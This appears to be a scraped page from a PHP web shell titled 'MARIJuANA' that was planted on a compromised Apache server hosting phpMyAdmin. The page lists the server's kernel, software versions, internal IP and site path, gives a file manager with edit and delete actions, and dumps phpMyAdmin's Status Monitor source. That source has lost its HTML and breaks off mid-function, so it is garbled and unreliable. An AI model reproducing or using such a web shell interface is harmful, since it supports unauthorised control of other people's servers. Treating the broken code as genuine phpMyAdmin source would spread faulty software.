MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/barra_do_choca/public_html/phpmyadmin/libraries/classes/Server/Status/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
Advisor.php 2.285 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Data.php 15.887 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Monitor.php 29.056 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Processes.php 10.596 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Queries.php 5.18 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Variables.php 31.877 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
REQUEST EXIT
'; $retval .= '
'; $retval .= '
'; $retval .= '
'; $retval .= ''; return $retval; } /** * Returns html for Analyse Dialog * * @return string */ public static function getHtmlForAnalyseDialog() { $retval = '
'; $retval .= '

' . __('Selected time range:'); $retval .= ' - '; $retval .= ''; $retval .= '

'; $retval .= ''; $retval .= ''; $retval .= '
'; $retval .= ''; $retval .= ''; $retval .= '

'; $retval .= __( 'Choose from which log you want the statistics to be generated from.' ); $retval .= '

'; $retval .= '

'; $retval .= __('Results are grouped by query text.'); $retval .= '

'; $retval .= '
'; $retval .= '
'; $retval .= ''; $retval .= '

'; $retval .= '
'; $retval .= '
'; return $retval; } /** * Returns html for Instructions Dialog * * @return string */ public static function getHtmlForInstructionsDialog() { $retval = '
'; $retval .= __( 'The phpMyAdmin Monitor can assist you in optimizing the server' . ' configuration and track down time intensive queries. For the latter you' . ' will need to set log_output to \'TABLE\' and have either the' . ' slow_query_log or general_log enabled. Note however, that the' . ' general_log produces a lot of data and increases server load' . ' by up to 15%.' ); $retval .= '

'; $retval .= ''; $retval .= '
'; $retval .= '
'; $retval .= '

'; $retval .= ''; $retval .= __('Using the monitor:'); $retval .= '

'; $retval .= __( 'Your browser will refresh all displayed charts in a regular interval.' . ' You may add charts and change the refresh rate under \'Settings\',' . ' or remove any chart using the cog icon on each respective chart.' ); $retval .= '

'; $retval .= __( 'To display queries from the logs, select the relevant time span on any' . ' chart by holding down the left mouse button and panning over the' . ' chart. Once confirmed, this will load a table of grouped queries,' . ' there you may click on any occurring SELECT statements to further' . ' analyze them.' ); $retval .= '

'; $retval .= '

'; $retval .= Util::getImage('s_attention'); $retval .= ''; $retval .= __('Please note:'); $retval .= '
'; $retval .= __( 'Enabling the general_log may increase the server load by' . ' 5-15%. Also be aware that generating statistics from the logs is a' . ' load intensive task, so it is advisable to select only a small time' . ' span and to disable the general_log and empty its table once' . ' monitoring is not required any more.' ); $retval .= '

'; $retval .= '
'; $retval .= '
'; return $retval; } /** * Returns html for addChartDialog * * @return string */ public static function getHtmlForAddChartDialog() { $retval = '
'; $retval .= '
'; $retval .= '

'; $retval .= ''; $retval .= ''; $retval .= '
'; $retval .= ''; $retval .= '
'; $retval .= '
'; $retval .= '
'; $retval .= '
'; $retval .= ''; $retval .= ''; $retval .= '

'; $retval .= ''; $retval .= '
'; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= '(' . __('KiB') . ', '; $retval .= '' . __('MiB') . ')'; $retval .= '
'; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= '

'; $retval .= '' . __('Add this series') . ''; $retval .= ''; $retval .= ' | ' . __('Clear series') . ''; $retval .= ''; $retval .= '

'; $retval .= __('Series in chart:'); $retval .= '
'; $retval .= ''; $retval .= '' . __('None') . ''; $retval .= ''; $retval .= '
'; $retval .= '
'; $retval .= '
'; return $retval; } /** * Returns html with Tab Links * * @return string */ public static function getHtmlForTabLinks() { $retval = ''; return $retval; } /** * Returns html with Settings dialog * * @return string */ public static function getHtmlForSettingsDialog() { $retval = '
'; $retval .= ''; $retval .= Util::getImage('b_chart') . __('Add chart'); $retval .= ''; $retval .= ''; $retval .= Util::getImage('b_tblops') . __('Enable charts dragging'); $retval .= ''; $retval .= '
'; $retval .= '
'; $retval .= __('Refresh rate') . '
'; $retval .= Data::getHtmlForRefreshList( 'gridChartRefresh', 5, Array(2, 3, 4, 5, 10, 20, 40, 60, 120, 300, 600, 1200) ); $retval .= '
'; $retval .= '
'; $retval .= '
'; $retval .= __('Chart columns'); $retval .= '
'; $retval .= ''; $retval .= '
'; $retval .= '
'; $retval .= '' . __('Chart arrangement') . ' '; $retval .= Util::showHint( __( 'The arrangement of the charts is stored to the browsers local storage. ' . 'You may want to export it if you have a complicated set up.' ) ); $retval .= '
'; $retval .= ''; $retval .= __('Import'); $retval .= ''; $retval .= '  '; $retval .= ''; $retval .= __('Export'); $retval .= ''; $retval .= '  '; $retval .= ''; $retval .= __('Reset to default'); $retval .= ''; $retval .= '
'; $retval .= '
'; return $retval; } /** * Define some data and links needed on the client side * * @param Data $serverStatusData Server status data * * @return string */ public static function getHtmlForClientSideDataAndLinks(Data $serverStatusData) { /** * Define some data needed on the client side */ $input = ''; $form = '
'; $form .= sprintf($input, 'server_time', microtime(true) * 1000); $form .= sprintf($input, 'server_os', SysInfo::getOs()); $form .= sprintf($input, 'is_superuser', $GLOBALS['dbi']->isSuperuser()); $form .= sprintf($input, 'server_db_isLocal', $serverStatusData->db_isLocal); $form .= '
'; /** * Define some links used on client side */ $links = '
'; $links .= Util::showMySQLDocu('general-thread-states'); $links .= '
'; $links .= '
'; $links .= Util::showMySQLDocu('explain-output'); $links .= '
'; return $form . $links; } /***************************Ajax request function***********************************/ /** * Returns JSon for real-time charting data * * @return array */ public static function getJsonForChartingData() { $ret = json_decode($_POST['requiredData'], true); $statusVars = array(); $serverVars = array(); $sysinfo = $cpuload = $memory = 0; /* Accumulate all required variables and data */ list($serverVars, $statusVars, $ret) = self::getJsonForChartingDataGet( $ret, $serverVars, $statusVars, $sysinfo, $cpuload, $memory ); // Retrieve all required status variables if (count($statusVars)) { $statusVarValues = $GLOBALS['dbi']->fetchResult( "SHOW GLOBAL STATUS WHERE Variable_name='" . implode("' OR Variable_name='", $statusVars) . "'", 0, 1 ); } else { $statusVarValues = array(); } // Retrieve all required server variables if (count($serverVars)) { $serverVarValues = $GLOBALS['dbi']->fetchResult( "SHOW GLOBAL VARIABLES WHERE Variable_name='" . implode("' OR Variable_name='", $serverVars) . "'", 0, 1 ); } else { $serverVarValues = ar